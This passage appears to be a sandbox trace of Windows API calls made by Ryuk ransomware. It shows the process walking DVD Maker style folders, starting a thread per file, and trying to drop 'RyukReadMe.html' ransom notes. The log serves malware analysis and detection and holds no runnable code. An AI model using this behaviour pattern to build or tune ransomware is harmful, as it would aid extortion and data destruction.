	[0185.363] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1
	[0185.363] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0185.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe78
	[0185.366] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0185.366] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0185.366] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0185.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe7c
	[0185.369] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0185.369] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1
	[0185.369] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0185.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe80
	[0185.372] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0185.373] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0185.373] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0185.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe84
	[0185.375] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0185.376] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x76, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1
	[0185.376] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0185.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe88
	[0185.378] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0185.379] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x76, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 0
	[0185.379] FindClose (in: hFindFile=0x7a460 | out: hFindFile=0x7a460) returned 1
	[0185.844] SetLastError (dwErrCode=0x0) 
	[0185.844] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.855] GetLastError () returned 0x5
	[0185.855] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0185.855] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.855] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1
	[0185.855] SetLastError (dwErrCode=0x0) 
	[0185.855] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.855] GetLastError () returned 0x5
	[0185.855] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0185.856] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a460
	[0186.227] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0186.227] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0186.227] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0186.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe8c
	[0186.229] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.230] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1
	[0186.230] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0186.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe90
	[0186.234] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.234] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x76, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0186.234] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0186.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe94
	[0186.237] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.237] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x76, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1
	[0186.238] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0186.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe98
	[0186.240] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.241] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x76, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1
	[0186.241] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0186.241] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe9c
	[0186.244] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.244] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0186.244] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0186.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xea0
	[0186.429] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.430] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0186.430] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0186.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xea4
	[0186.432] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.433] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0186.433] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0186.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xea8
	[0186.435] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.435] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0186.436] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0186.436] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeac
	[0186.438] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.438] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0186.438] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0186.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb0
	[0186.441] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.442] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0186.442] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0186.442] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb4
	[0186.444] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.444] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x76, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 1
	[0186.445] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0186.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb8
	[0186.448] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.448] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x76, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 0
	[0186.449] FindClose (in: hFindFile=0x7a460 | out: hFindFile=0x7a460) returned 1
	[0186.860] SetLastError (dwErrCode=0x0) 
	[0186.860] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.872] GetLastError () returned 0x5
	[0186.872] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0186.872] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.872] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1
	[0186.872] SetLastError (dwErrCode=0x0) 
	[0186.872] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.873] GetLastError () returned 0x5
	[0186.873] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0186.873] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a460
	[0186.925] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0186.925] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1
	[0186.925] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0186.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xebc
	[0186.928] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0186.930] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1
	[0186.930] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
